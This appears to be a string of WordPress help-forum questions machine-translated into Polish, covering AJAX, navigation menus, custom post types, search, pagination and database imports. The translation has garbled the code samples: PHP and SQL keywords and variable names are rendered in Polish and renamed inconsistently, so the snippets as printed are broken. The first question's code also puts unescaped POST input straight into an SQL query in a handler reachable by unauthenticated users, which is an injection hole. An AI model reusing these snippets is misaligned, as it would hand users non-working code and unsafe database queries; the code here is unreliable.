text: Nie mogłem dodać wybranych danych do div za pomocą ajax. Oto mój kod: <?php function master_ajaxurl() { $myOpt = $_POST['opcja']; przynieśSzczegóły($myOpt); } funkcja przynieśćDetails($opt) { global $wpdb; $sql ="SELECT * z mst_urun_liste GDZIE kod jak '$opt'"; $wiersze = $wpdb->get_row($sql ); return $wiersze; } add_action('wp_ajax_master_ajaxurl', 'master_ajaxurl'); add_action ('wp_ajax_nopriv_master_ajaxurl', 'master_ajaxurl'); ?> <skrypt> $(document).ready(function () { var ajaxurl = '<?php echo admin_url('admin-ajax.php'); ?>'; $('#combobox').change(function (){ $.ajax({url:ajaxurl, action:'master_ajaxurl', type: "post", data: {option: $(this).find("option:selected").val()}, sukces: function(data){ //dodaje echo odpowiedzi do naszego kontenera $("#details").html(data); } }); }); }); </script> Mam pole wyboru i chcę zmienić wartości związane z wybranym elementem, ale ajax wypełnia mój div całym kodem html witryny. A oto przygotowana przeze mnie strona testowa. Chcę wypełnić wybrane wartości z bazy danych (Kod, Parça No, Parça Adı, Fiyat, Adet, Tutar) Zdałem sobie sprawę, że jeśli nie ustawię url:ajaxurl, zwraca całą stronę, jeśli go użyję, zwraca 0


title: Nie wyświetlaj strony nadrzędnej, jeśli nie ma podstron

text: Jest to kod z kodeksu najczęściej używanego w menu paska bocznego. Wyświetla strony podrzędne przodka najwyższego poziomu i samego przodka. Jest jedna rzecz, którą chciałbym zmienić w tym kodzie - nie chcę, aby przodek najwyższego poziomu był wyświetlany, jeśli nie ma dzieci! Nie ma sensu mieć jednego menu linków, które wskazuje na siebie. Jak mogę edytować ten kod, aby to osiągnąć? Wcześniej zadawałem podobne pytanie, ale nigdy nie otrzymałem prawidłowej odpowiedzi. Wszystkie udzielone odpowiedzi zawierały również listę dzieci dziecka rodzica (strona podrzędna drugiego poziomu). W functions.php // Menu podstrony if(!function_exists('get_post_top_ancestor_id')){ /** * Pobiera id najwyższego przodka bieżącej strony. Zwraca identyfikator bieżącej * strony, jeśli nie ma rodzica. * * @używa obiektu $post * @return int */ function get_post_top_ancestor_id(){ global $post; if($post->post_parent){ $ancestors = array_reverse(get_post_ancestors($post->ID)); zwróć $przodkowie[0]; } return $post->ID; }} Nazywając to: <ul class="subpages"> <?php wp_list_pages( array('title_li'=>'','include'=>get_post_top_ancestor_id()) ); ?> <?php wp_list_pages( array('title_li'=>'','depth'=>1,'child_of'=>get_post_top_ancestor_id()) ); ?> </ul> Ten kod sprawdza, czy strona ma dzieci, jestem ciekawy, czy można to połączyć z powyższymi kodami, aby utworzyć poprawny kod: $children = get_pages('child_of='.$post->ID) ;?> if( count( $dzieci ) != 0 ) { pokaż listę jak zwykle } else { pokaż tekst "brak rodzica" }


title: Błąd podczas aktualizacji WordPressa, nie pyta o hasło FTP, tylko błąd

text: Zacząłem aktualizować bloga WordPress i napotkałem problem z uprawnieniami. Naprawiłem problem z uprawnieniami i ponownie uruchomiłem aktualizację i w pewnym momencie (minęło już kilka dni) otrzymałem następujący błąd. Spróbowałem ponownie dziś rano i aktualizacja wtyczek lub samego programu daje ten sam błąd. Aktualizuj WordPress Pobieranie aktualizacji z http://wordpress.org/wordpress-3.7.1-new-bundled.zip… Pobieranie nie powiodło się.: Katalog docelowy dla strumieniowego przesyłania plików nie istnieje lub nie można do niego zapisać. Instalacja nie powiodła się Mam kilka blogów na tym samym koncie hostingowym i żaden z pozostałych nie ma problemów, tylko ten blog.


title: Dodaj niestandardowy css do menu podczas korzystania z niestandardowego tagu nav_menu_tag

text:
Stworzyłem niestandardowe menu, aby zastąpić moje li znacznikami td. Jednak muszę być w stanie dodać kilka niestandardowych tagów za pomocą menu wordpress. Jak to zrobić? Czy jest coś, co mogę dodać do sekcji mytag_nav_menu, aby umożliwić mi dodawanie niestandardowych tagów csstag z menu Wordpress? Mój kod funkcji znajduje się wewnątrz functions.php: function mytag_nav_menu($args = '', $mytag = 'td') { $defaults = array( 'echo' => 1 ); $r = wp_parse_args($args, $defaults); $args = $args.'&echo=0'; $oldtags = Array('<li','
'); $newtags = Array('<'.$mytag.' class="center"','</'.$mytag.'>'); $ mynav = str_replace($stare tagi, $nowe tagi, wp_nav_menu($args)); $output= preg_replace('/<a/', '<a class="nav"', $mynav, 12); if ( $r['echo'] ) echo $wyjście; w przeciwnym razie zwróć $wyjście; } Moje wywołanie funkcji w nagłówku znajdującym się w header.php: <?php mytag_nav_menu(array('theme_location' => 'header-menu', 'items_wrap' => '
%3$2
', ' fallback_cb'=>'wp_page_menu'));?> Wyjaśnienie, co chcę zrobić: 1. Przejdź do administratora Wordpress 2. Przejdź do wyglądu/menu 3. Kliknij element menu, kliknij strzałkę w dół 4. Dodaj do CSSClasses (Opcjonalnie) 5. Zapisz menu 6 Wyświetl klasy Wynik powinien wyglądać następująco:  Wiadomości 	 Czy ktoś może mi wyjaśnić, co mogę dodać do mytag_nav_menu, aby te niestandardowe klasy były wyświetlane, ale nadal edytować tagi, jak poniżej? Jeśli nie jest to jasne, daj mi znać.


title: Funkcja do wykonania, gdy wpis zostanie przeniesiony do kosza .

text: Cześć, czy istnieje akcja, którą można wykonać, gdy post jest przenoszony do kosza .... Próbowałem delete_post i delete_post. Działa to dwa razy dla każdej akcji (przed i po akcji, jak napisano w kodeksie), a wynik jest pokazywany tylko wtedy, gdy post jest usuwany z kosza. Przykład Chcę wysłać e-maila do autora z informacją, że jego post został z jakiegoś powodu przeniesiony do kosza i zaktualizować niektóre user_meta. jeśli używam add_action('deleted_post', 'emailUser'); lub add_action('delete_post', 'emailUser'); działa tylko wtedy, gdy post zostanie usunięty z kosza . . . **Update :** uruchomiło go dla wpisów w koszu za pomocą add_action('trash_post', 'emailUser'); ale problem podwójnego wykonania funkcji nadal istnieje. . .


title: Dodaj dane wejściowe ikony do niestandardowych linków menu Wordpress

text:
Muszę dodać dane wejściowe `data-icon=""` do mojego pola wprowadzania Wordpress Custom Menu. To dlatego, że mogę użyć czcionki ikony i wpisać kod dla określonej ikony, a w CSS użyć pseudoelementów, aby dopasować ją i wyświetlić ikonę. Znalazłem mnóstwo samouczków, które pokazują, jak rozszerzyć klasę `Walker_Nav_Menu`, abym mógł dodać atrybut, ale żaden z nich nie rozszerza tego o dodanie nowego pola wprowadzania na ekranie niestandardowego menu Wordpress (http://cl.ly /Sn0C), a następnie wyświetlenie wartości this w kodzie HTML. Użyłem tego kodu, aby dodać pole wprowadzania ikon danych na ekranie administratora menu niestandardowego (http://cl.ly/SmqM), ale nie jestem wystarczająco dobry w PHP, aby połączyć go z rozszerzeniem `Walker_Nav_Menu` klasa, aby wyświetlić wartość ikony danych w kodzie HTML. Czy ktoś może mi pomóc? Dzięki :) Wolałbym, żeby można było to zrobić w functions.php i/lub bez użycia wtyczki. Dziękuję! Btw, oto mój kod klasy rozszerzenia `Walker_Nav_Menu`: class data_type_walker extends Walker_Nav_Menu { function start_el(&$output, $item, $depth, $args) { global $wp_query; $wcięcie = ( $głębokość ) ? str_repeat( "\t", $depth ): ''; $nazwy_klasy = $wartość = ''; $klasy = puste( $item->klasy ) ? array() : (tablica) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $klasy_nazwy = 'klasa="'.esc_attr( $klasy_nazwy) '"'; $wyjście .= $wcięcie . '
ID . '"' . $wartość . $klasy_nazwy .'>'; $atrybuty = ! pusty( $item->attr_title ) ? ' title="' .esc_attr( $item->attr_title) .'"' : ''; $atrybuty .= ! pusty( $item->target) ? ' target="' .esc_attr( $item->target) .''"' : ''; $atrybuty .= ! pusty( $item->xfn ) ? 'rel="' .esc_attr( $item->xfn) .'"' : ''; $atrybuty .= ! pusty( $item->url ) ? ' href="' .esc_attr( $item->url) .'"' : ''; $atrybuty .= ! pusty( $item->data_icon ) ? ' data-icon="' .esc_attr( $item->data_icon ) .'"' : ''; $prepend = ''; $append = ''; if($głębokość != 0) { $opis = $append = $prepend = ""; } $item_output = $args->before; $item_output .= ''; $item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID ).$append; $item_output .= $description.$args->link_after; $item_output .= ''; $item_output .= $args->po; $wyjście .= zastosuj_filtry( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } EDIT: Chittaranjan poprosił mnie o więcej informacji, więc zaczynam: Wywołuję to nowe rozszerzenie (`data_type_walker`) w klasie `Walker_Nav_Menu` w moim pliku header.php, gdzie znajduje się moje menu nawigacyjne. Nazywając to w następujący sposób: <?php wp_nav_menu( array( 'theme_location' => 'primary', 'container' => false, 'menu_class'=> 'nav-menu', 'walker' => new data_type_walker() ) ) ; ?> Dane wyjściowe powinny wyglądać mniej więcej tak:
tekstowy link nawigacyjny


title: sposób na upublicznienie wszystkich stron z określonymi tagami?

text: Chcę mieć sposób na upublicznienie wszystkich stron z określonymi tagami. Nie obchodzi mnie, czy rozwiązanie jest programowe, czy za pośrednictwem GUI (chociaż wolę programowe), chcę tylko móc upublicznić wszystkie strony z określonym tagiem za pomocą jednego „kliknięcia przycisku”, że tak powiem . EDYCJA: Ups. Myślałem, że strony mogą mieć tagi, tak jak posty. Moim zamiarem jest stworzenie kilku statycznych stron, pokazanie ich komuś, kto je zatwierdzi, a jeśli zatwierdzą te strony, upublicznij je jednocześnie, aby świat mógł je zobaczyć. Czy jest na to sposób?


title: Błąd tabeli wp_option podczas importowania

text: Ręcznie importuję ogromną bazę danych i mam problem. Błąd jest dla mnie bardzo niejasny, ponieważ nie znam mysql. .imgur.com/RD1Xt.png) To takie dane, których nie jestem w stanie zrozumieć,gdzie znaleźć błąd.Nie może to być parametr_opcji, jak jego auto_inkrementacja. Jaki jest problem? kiedy jest napisane „Zduplikowany wpis 1 dla klucza podstawowego”?


title: Wp_Mail i formularz kontaktowy 7

text: Mam problem. Użyłem add_filter('wp_mail_from', 'new_mail_from'); add_filter('wp_mail_from_name', 'new_mail_from_name'); function new_mail_from($old) { return 'contact@mysite.hk'; } function new_mail_from_name($old) { return 'MojaWitryna.com'; } Aby nadpisać domyślny Z e-maila WordPress (wordpress@mojastrona.com) I to jest OK, ale formularz kontaktowy 7 również został nadpisany przez tę samą funkcję. Chcę, aby CF7 wysłał `[twoje-imię] [twoje-nazwisko] <[twój-e-mail]>` na e-mail. Nie MySite.com (contact@mysite.hk) Czy istnieje sposób na pozbycie się tego błędu?


title: wordpress nie może otworzyć theme-editor.php

text: Prowadzę stronę radhanath-swami.info. Zalogowałem się jako administrator używając "radhanath-swami.info/wp-admin". potem spróbowałem "radhanath-swami.info/wp-admin/theme-editor.php" Nie masz wystarczających uprawnień, aby uzyskać dostęp do tej strony. Nie wiem co robić. Dużo googlowałem, ale niewiele pomogłem. Nie mam dostępu do serwera nie do ftp. Co mogę zrobić, to tylko z pulpitu administracyjnego. Korzystałem z esplanady tematycznej, z pewnych powodów zmieniłem motyw na inny. Następnie usunąłem motyw esplande. Później zdecydowałem się użyć esplanady, więc zainstalowałem go ponownie i aktywowałem. Od tego czasu theme-editor.php nie działa. Zanim ten motyw-editor.php działał. Sprawdziłem też ze zmianą na inny motyw. Teraz pokazuje również te same uprawnienia, gdy otwieram theme-editor.php. Próbowałem również usunąć wszystkie wtyczki, które nadal mają ten sam komunikat. Czuję, że w wordpressie są jakieś błędy


title: wpalchemy wstawka dolna brakuje w media uploader z niestandardowym typem posta

text: Użyłem klasy wpalchemy z niestandardowym typem posta i dodałem metabox do przesyłania plików. Ale odkryłem, że w wyskakującym okienku programu do przesyłania multimediów brakuje przycisku Wstaw. Ten sam kod działa dobrze, gdy jest używany w postach lub stronach. Próbowałem skopiować i wkleić kod bezpośrednio z następnej strony, aby upewnić się, że nie popełniam żadnego błędu w kodzie. http://www.farinspace.com/wordpress-media-loader-integration/ Odkryłem, że ten problem dotyczy tylko niestandardowych typów postów, które działają dobrze z domyślnymi postami i stronami.


title: Jak filtrować posty należące do określonej kategorii tylko wtedy, gdy jest to jedyna kategoria?

text: Muszę filtrować posty należące do kategorii tylko wtedy, gdy jest to jedyna kategoria. Na przykład, jeśli mój post A należy do kat1 i nie chcę wyświetlać postów, które należą do kat1, post A nie zostanie wyświetlony. Ale jeśli post A należy do cat1 i cat2, zostanie wyświetlony, ponieważ nie chcę filtrować cat2. Próbowałem zrobić coś takiego: <?php while (have_posts()) : the_post(); ?> $kategoria_do_wykluczenia = 11; while ( have_posts() ): the_post(); $kategorie = get_the_category(); if( in_array($category_to_exclude, $categories) && count($categories) > 1 ) { the_title(); Zawartość(); } koniec; ale oczywiście nie działa to poprawnie tylko jako „odcięte” posty. Powinien być filtrowany bezpośrednio z zapytania użytego do uzyskania postów, ale nie wiem, jak napisać to zapytanie. Dowolny pomysł?


title: Jak mogę wyśrodkować logo w menu nawigacyjnym?

text: Chciałbym wyśrodkować logo w menu nawigacyjnym. Rozumiem, jak to zrobić, jeśli nie jest oparty na PHP. Czy ktoś ma w tym jakiś wgląd? Możesz zobaczyć stronę testową tutaj. Każda pomoc jest bardzo mile widziana.


title: Pokaż Meta Box w określonym szablonie strony

text: Czy istnieje sposób, aby pokazać niestandardowe ustawienia strony TYLKO w określonych szablonach stron? Na przykład mam pole ustawień: "Ustawienia niestandardowe". Nie chcę, aby było to wyświetlane w „Domyślnym szablonie strony”. Chcę, aby był wyświetlany tylko wtedy, gdy wybierzemy „Szablon strony ustawień strony niestandardowej”. Oto mój kod meta pola: function cd_meta_box_add() { add_meta_box( 'icon-class-meta-box', 'Icon Class', 'ic_meta_box_cb', 'page', 'side', 'default' ); } add_action( 'add_meta_boxes', 'cd_meta_box_add' ); function ic_meta_box_cb( $post) { $values = get_post_meta( $post->ID ); $selected = isset( $values['ic_meta_box_select']) ? esc_attr( $wartości['ic_meta_box_select'][0] ) : ”; wp_nonce_field( 'ic_meta_box_nonce', 'meta_box_nonce' ); ?> <p> <label for="ic_meta_box_select">Klasa</label> <select name="ic_meta_box_select" id="ic_meta_box_select"> <option value=" " <?php selected( $selected, ' ' ); ?>> </option> <option value="red" <?php selected( $selected, 'red' ); ?>>czerwony</option> <option value="blue" <?php selected( $selected, 'blue' ); ?>>niebieski</option> <option value="zielony" <?php selected( $selected, 'green' ); ?>>zielony</option> <option value="różowy" <?php selected( $selected, 'pink' ); ?>>różowy</option> <option value="pomarańczowy" <?php selected( $selected, 'pomarańczowe' ); ?>>pomarańczowy</option> <option value="czarny" <?php selected( $selected, 'black' ); ?>>czarny</option> </select> </p> <?php }


title: WP_Query dla niestandardowego autora i pojedynczego wyszukiwania CPT?

text: Utworzyłem stronę wyszukiwania, na której użytkownicy mogą przeszukiwać witrynę za pomocą następujących opcji: (1) Słowo kluczowe (2) Słowo kluczowe w/z 12 różnych niestandardowych typów postów (CPT) (3) Słowo kluczowe w/przez pojedyncze posty autora we wszystkich CPT ( 4) Słowo kluczowe w/we wszystkich kategoriach Potrzebuję jednak jeszcze jednej opcji wyszukiwania, której mi brakuje, a która jest dla mnie bardzo ważna: (5) Autor + CPT, gdzie użytkownik może wybrać dowolnego Autora i dowolny pojedynczy CPT spośród 12 Na przykład, jeśli Jane jest autorem i ma posty CPT w kategorii audio, wideo lub blogi itp., potrzebuję użytkownika, aby móc wyszukać wszystkie filmy wideo Jane, gdzie wyniki wyszukiwania wyświetlają tylko wideo CPT, a nie inne przez Jane. Widziałem inne podobne, ale ostatecznie różne pytania dotyczące sposobu wyświetlania wszystkich CPT przez autora. Ale już to mam. Teraz muszę dodać węższą opcję wyszukiwania jednego Autora i jednego CPT. Moje badania prowadzą mnie do przekonania, że musiałbym napisać niestandardowe WP_Query, aby zmienić parametry wyszukiwania. Czy to jest poprawne? Jeśli tak, czy ktoś ma wskazówki, jak to zrobić? Nie napisałem żadnego wcześniej, przeczytałem o nim Kodeks, ale to popycha mnie na nowe terytorium i jest trochę ponad moją głową - jeśli nawet jestem na dobrej drodze. Dziękuję Ci.


title: Czy mogę używać tej samej nazwy folderu co blog wielostanowiskowy?

text: Mam witrynę Wordpress Network w wersji 3.8+, gdzie jedną z moich witryn jest domain.com/media/. W katalogu głównym domeny domain.com chcę utworzyć folder o nazwie „media”, w którym będą przechowywane wszystkie przesłane pliki. Obecnie mam ten folder ustawiony tak jak powyżej "media" z witryną domain.com/media/ i nic znaczącego się nie wydarzyło. Jednak może się to zakłócić, gdy zacznę dodawać treści. Czy ktoś wie, czy mogę mieć taką samą nazwę folderu jak nazwa witryny?


title: niestandardowy slug URL strony wymaga nielegalnego ?id=1 dla javascript

text: Stworzyłem stronę portfolio, która zawiera menu z obrazkami do nawigacji. Aby element menu pojawił się jako otwarty, javascript otrzymuje instrukcję taką jak ?id=0 dołączoną do adresu URL. na przykład portfolio/art.php?id=0. Jednak wordpress nie pozwala na slug URL zawierający ? lub = dla stron. Co mam teraz zrobić? Ustawiłem już suwak z działającymi stronami: www.gransar.net/portfolio/ www.gransar.net/portfolio/design czy kompletnie schrzaniłem, myśląc, że można to łatwo zaimplementować? Używam: http://www.ajaxblender.com/demos/menu/imagemenu/


title: Jak zmienić opcję ostatnio_edytowaną?

text: Opcja WP ostatnio_edited może być bardzo przydatna - śledzi 5 ostatnich plików, w których dokonałeś zmian. Jedyny problem to - cóż, to wszystko, 5 plików. Co się stanie, jeśli wprowadzono wiele zmian w plikach motywów Wordpress za pomocą domyślnego edytora administratora WP? Byłoby pomocne, gdybym miał listę, powiedzmy, ostatnich 20 edytowanych plików i czas, kiedy to się stało. **Czy ktoś wie, gdzie jest przechowywana funkcja lub jakiś inny mechanizm, który pozwala tylko 5 elementom przebywać w tablicy ostatnio_edytowanej opcji WP?** Próbowałem z wp-admin/includes/schema.php i wp-includes/option. php gdzie to, jak myślałem, powinno być - brak wyników.


title: Jak stworzyć szablon strony za pomocą niestandardowej wtyczki

text: Buduję wtyczkę. Chcę tylko utworzyć szablon strony za każdym razem, gdy instaluję wtyczkę. Szablon strony taki jak szablon o pełnej szerokości. Użyłem kodów po wyszukiwaniu, ale nie udało mi się osiągnąć sukcesu. Więc proszę pomóż mi. Z góry dziękuję


title: dodaj, gdy zawartość nie działa

text: Używam tego kodu, aby umieścić niektóre funkcje po zawartości, ale ten nie działa. Pojawia się przed treścią, a nie po. funkcja add_wb_posts_pagination ($zawartość) { $zawartość .= wb_posts_pagination(); zwróć $treść; } add_filter('the_content', 'add_wb_posts_pagination' ); to ten sam kod, którego używam do dodawania innych funkcji, ale to nie działa ... co może być problemem?


title: Dodawanie obsługi kategorii/tagów/taksonomii do obrazów/mediów

text: Próbowałem dodać obsługę kategorii, tagów lub niestandardowej taksonomii do obrazów (lub wszystkich mediów, chociaż interesuję się tylko obrazami). Mam to częściowo rozwiązane za pomocą: add_action('init', 'create_image_taxonomies'); function create_image_taxonomies() { $labels = array( 'name' => 'Kategoria mediów' ); $args = array( 'labels' => $etykiety, 'public' => true ); register_taxonomy('typ obrazu', 'załącznik', $args); } Spowoduje to prawidłowe dodanie pola Kategoria mediów do ekranu mediów. Potwierdziłem również, że można to uzyskać za pomocą polecenia `get_the_terms($my_attachment_id, 'imagetype')`. Kiedy mam kłopoty, te informacje są wyświetlane w dowolnym miejscu w panelu administracyjnym / pulpicie, z wyjątkiem bezpośredniego przeglądania multimediów - chcę je albo w podmenu, albo jako niestandardową kolumnę, lub w obu, jak można to zrobić w przypadku Posty i strony. Próbowałem użyć `manage_posts_custom_column` razem z `manage_edit- attachment_columns`, ale nic się nie wyświetla. Próbowałem użyć `add_media_page`, aby wyświetlić coś takiego jak strona automatycznie generowana dla kategorii Strona i Post, ale tutaj mam problem z przeciągnięciem obrazów, do których przypisałem kategorie. Możesz zobaczyć obie próby tutaj: http://pastebin.com/S8KYTKRM Z góry dziękuję za wszelką pomoc!


title: Po co pisać znaczniki dla index.php?

text: Jak rozumiem, index.php (wymagany szablon) jest używany, gdy bardziej konkretny szablon jest niedostępny --- zgodnie z hierarchią szablonów. Moje pytanie brzmi: jeśli tworzę wszystkie określone szablony, których używa mój motyw (np. home.php, single.php, page.php, search.php, archive.php, 404.php, itd.), to dlaczego w ogóle zawracać sobie głowę pisaniem jakichkolwiek znaczników w index.php? Równie dobrze mogę po prostu zostawić to puste? Czy istnieje powód, aby wypełnić index.php?


title: Struktura strony internetowej

text: Jak uzyskać strukturę linków do mojej witryny w następujący sposób: mywebsite.com/products/vegetables/carrot Gdzie warzywa to termin taksonomiczny, a marchewka to wiadomość z niestandardowych produktów typu post. mywebsite.com/products/vegetables — to strona taksonomii, na której będą wyświetlane wszystkie produkty posiadające tę taksonomię. Czy można tak ustrukturyzować link? Z góry dziękuję


title: Niestandardowa paginacja typu postu, problem z pojedynczą stroną

text:
Po problemach z uruchomieniem stronicowania dla niestandardowych typów postów, przeczytałem, że nazwa niestandardowego typu postu i nazwa strony nie mogą być takie same. Zacząłem więc od zera: stworzyłem niestandardowy typ „wiadomości-artykułów” (oryginalny nazwałem go „wiadomościami”, ale otrzymałem błędy 404 na paginacji) za pomocą wtyczki Custom Post Type UI. Następnie stworzyłem szablon o nazwie `template-news.php` z następującą zawartością: <?php /** * Nazwa szablonu: News * * Drukuj posty typu Custom Post. */ pobierz_nagłówek(); get_template_part( 'zawiera/zawartość', 'głowa' ); $type = 'artykuły-aktualności'; if ( get_query_var('paged')) { $paged = get_query_var('paged'); } else if ( get_query_var('strona')) { $paged = get_query_var('strona'); } else { $paged = 1; } $args=array( 'post_type' => $type, 'post_status' => 'publish', 'paged' => $paged, 'posts_per_page' => 1, 'caller_get_posts'=> 1 ); $temp = $wp_query; // przypisz oryginalne zapytanie do zmiennej tymczasowej do późniejszego użycia $wp_query = null; $wp_query = nowe WP_Query(); $wp_query->zapytanie($args); ?> <div class="postcontent nobottommargin<?php if( semi_option( 'blog_sidebar' ) == 'left' ) { echo 'col_last'; } ?> clearfix"> <?php if ( $wp_query->have_posts() ) : ?>
 <?php while ( $wp_query->have_posts() ) : $wp_query->the_post(); ?> <div id="post-<?php $wp_query->ID; ?>" <?php post_class('poprawka wpisu'); ?>> <?php get_template_part( 'include/blog/news/post', 'standard' ); ?>
 <?php endwhile; get_template_part( 'dołącz/blog/nawigacja' ); ?>
<?php else : get_template_part( 'include/blog/error' ); endif; $wp_query = $temp; ?>
 <?php if( semi_option( 'blog_sidebar' ) == 'w lewo' ) { get_sidebar( 'w lewo' ); } else { echo get_sidebar('news'); } ?> <?php get_template_part( 'include/content', 'foot' ); ?> <?php get_footer(); ?> Następnie stworzyłem stronę o nazwie 'News' i przypisałem szablon jako 'News'. W tym momencie, gdy przeglądam stronę z wiadomościami, wszystko wygląda dobrze. Dostaję paginację i działa. Jednak linki tytułowe postów to `/news-article/post-title` zamiast `/news/post-title`. Jeśli spróbuję przejść do `/news/post-title` to po prostu przekieruje do `/news-article/post-title`. Próbowałem ustawić „Przepisz” na „True” i „Custom Rewrite Slug” na „wiadomości” w interfejsie CPT. Na pierwszy rzut oka wydaje się, że to wyleczyło to, ale łamie paginację – na stronie 2 pojawia się błąd 404. Próbowałem odświeżyć permalinki, ale nadal otrzymuję 404.


title: Różne pliki funkcji dla każdej witryny w instalacji wielostanowiskowej?

text: Próbuję stworzyć dwie (na razie) witryny w wielostanowiskowej instalacji WP, które używają tego samego motywu, ale wymagają nieco innej funkcjonalności, tj. Strona główna ma nieco inny układ i będą pewne zmiany CSS. Czy istnieje sposób, w jaki mógłbym nadpisać functions.php i inne pliki motywów dla każdej witryny?


title: Usuń obsługę tytułu, edytora i Meta Box w oparciu o formaty postów

text: Rozglądałem się i nie mogę tego znaleźć. Czy można usunąć, powiedzmy, obszar tytułu w formacie postu: „cytat”? Lub edytor w formacie postu: „obraz”? Zauważyłem tę stronę w Kodeksie: http://codex.wordpress.org/Function_Reference/remove_meta_box Wygląda na to, że możesz to zrobić, jeśli utworzysz niestandardowy typ postu dla obrazów, na przykład, a następnie usuniesz obsługę tego typu, ale to pokonuje cel formatów, a także złamałbym nowe tematy, czego nie chcę robić.


title: NIE MOŻNA przeszukać mojego niestandardowego typu posta?

text:
Dodałem nowy niestandardowy typ posta o nazwie: **website_bookmarks** Planuję używać go jako menedżera zakładek (zamierzam wyeksportować wszystkie moje zakładki z Google Chrome do niestandardowego typu posta) z następujących powodów * Mogę łatwo wyszukiwać zakładki * Może dodawać tagi (php, projektowanie stron internetowych itp.) * Może dodawać opisy w celu lepszego wyjaśnienia zakładki * Może przeglądać i sortować według własnego uznania * Może uzyskać dostęp z dowolnego miejsca online * Może udostępniać moje zakładki moim czytelnikom ( będzie miał opcję oznacz zakładkę jako Prywatną lub Publiczną, abym mogła być jedyną osobą, która może wyświetlić zakładki Prywatne. Nie mogę pobrać wordpressa (najnowsza wersja) do wyszukiwania niczego w typie postu **website_bookmarks**. Zmodyfikowałem mój formularz wyszukiwania za pomocą ukrytego pola <input type="hidden" name="post_type" value="website_bookmarks" /> Więc na mojej stronie wyszukiwania w URI zobaczę... www.mydomain.com/? s=mysearchterm&post_type=website_bookmarks Problem polega na tym, że **TYLKO** wyświetla wyniki wyszukiwania dla mojego zwykłego wpisu na blogu, a nie ma wyników z mojego niestandardowego typu wpisu. Jeśli usunę `s=mysearchterm` z identyfikatora URI, więc teraz jest to www.mydomain.com/?post_type=website_bookmarks, pokaże się WSZYSTKI wpis z mojego niestandardowego typu wpisu. To pokazuje, że **website_bookmarks** to właściwa nazwa mojego typu posta, tylko część wyszukiwania nie działa poprawnie. Zwróci wyniki wyszukiwania ze zwykłego posta bez problemu, tylko żaden z mojego typu postu website_bookmarks Nie powinien pokazywać żadnych wyników dla mojego posta na blogu i TYLKO wyników dla mojego niestandardowego typu postu **website_bookmarks** Czy ktoś może mi pomóc? Nie mogę zrozumieć, dlaczego to nie zadziała, kod, który pokazuję powyżej, aby zmodyfikować formularz wyszukiwania, znalazłem w Internecie od innych, mówiąc, że zadziałało to na blogach, po prostu zmieniając formularz wyszukiwania na to, co zrobiłem powyżej. Poniżej znajduje się cały mój plik search.php <?php get_header(); ?> <?php if (have_posts()) : ?>
<?php printf( __("Wyniki wyszukiwania dla %s", "czujność"), get_search_query ()); ?>
 <img class="archive-comment"src="<?php echo get_template_directory_uri(); ?>/images/comments-bubble-archive.gif" width="17" height="14" alt ="Komentarze"/>

 <?php while (have_posts()) : the_post(); ?>
<a href="<?php the_permalink(); ?>" rel="zakładka" title="<?php esc_attr( sprintf( __( 'Stały link do %s', 'czujność' ), the_title_attribute( 'echo=false' ) ) ); ?>"><?php comments_number( '0', '1', '%', '' ); ?><?php the_time( __( 'M.j.y', 'Czujność')); ?><?php the_title(); ?>
 <?php endwhile; /* przewiń lub kontynuuj, jeśli wszystkie posty zostały pobrane */ ?>

<? php next_posts_link( __( '«Starsze wpisy', 'czujność')); ?>

<?php previous_posts_link( __( 'Nowe wpisy »', 'czujność' )); ?>

 <?php else : ?>
<?php printf( __("Wyniki wyszukiwania dla '%s'" , "czujność"), get_search_query()); ?>

<?php printf( __( 'Przepraszamy, że wyszukiwanie "%s" nie przyniosło żadnych wyników. Spróbuj ponownie.', 'czujność' ) , get_search_query());?>
 <?php get_search_form(); ?>
 <?php endif; ?>
 <?php get_sidebar(); ?> <?php get_footer(); ?> Próbowałem nawet użyć tego kodu w moim pliku functions.php bez powodzenia... function mySearchFilter($query) { $post_type = $_GET['post_type']; if (!$post_type) { $post_type = 'dowolny'; } if ($query->is_search) { $query->set('post_type', $post_type); }; zwróć $zapytanie; }; add_filter('pre_get_posts','mySearchFilter'); Poniżej znajduje się mój kod użyty do stworzenia typu postu website_bookmarks, widać, że włączyłem query_var i publicly_queryable oraz ustawiłem exclude_from_search na true i false, aby przetestować to w obie strony, bez powodzenia $bookmark_args = array( 'labels' => $ bookmark_labels, 'public' => true, 'publicly_queryable' => true, 'exclude_from_search' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'rewrite' => tablica ( 'slug' => 'bookmark', 'with_front' => false), 'taxonomies' => array('bookmark_tags'), 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' = > false, 'menu_position' => 4, 'can_export' => true, 'supports' => array( 'thumbnail', //miniatura strony 'fragment', //opis strony 'tytuł', //tytuł strony 'niestandardowe-pola', 'komentarze' ) ); register_post_type('website_bookmarks', $bookmark_args);


title: wp_insert_post inną bazę danych z niestandardowym polem

text: wp_insert_post z poleceniem, które chcesz przenieść zawartość do innej bazy danych, używam następującego polecenia <?php require('wp-config.php'); $conn = mysql_connect($dbHost, $dbUser, $dbPass); mysql_select_db($dbName, $conn); mysql_query('ustaw nazwy utf8'); mysql_query("Zestaw połączenie_zestawu_znaków = 'UTF8'"); mysql_query("SET character_set_client = 'UTF8'"); mysql_query("SET character_set_results = 'UTF8'"); $results = mysql_query("WYBIERZ * Z LIMITU idx_link 0,100", $conn); function permayap($deger) { $turkce = array("ş", "Ş", "ı", "(", ")", "'", "ü", "Ü", "ö", "Ö" ", "ç", "Ç", "", "/", "*", "?", "ş", "Ş", "ı", "ğ", "Ğ", "İ", " ö”, „Ö”, „Ç”, „ç”, „ü”, „Ü”); $duzgun = array("s", "s", "i", "", "", "", "u", "u", "o", "o", "c", "c", "-", "-", "-", "", "s", "s", "i", "g", "g", "i", "o", "o", "c" , „c”, „u”, „u”); $deger = str_replace($turkce, $duzgun, $deger); $deger = preg_replace("@[^A-Za-z0-9-_]+@i", "", $deger); zwróć $oznacznik; } $i = 0; while ($wiersz = mysql_fetch_array($wyniki, MYSQL_ASSOC)) { $post = array(); $post['ID'] = $row['link_id']; $post['post_name'] = permayap($row['title']); $post['post_title'] = $row['title']; $post['post_status'] = 'opublikuj'; $post['post_type'] = 'post'; $post['post_author'] = '1'; $post['ping_status'] = 'otwarty'; $post['post_excerpt'] = ''; $post['comment_status'] = 'otwarty'; $post['post_category'] = array($row['category_id']); $post['tags_input'] = $wiersz['keywords']; $post['tax_input'] = array("sehir" => 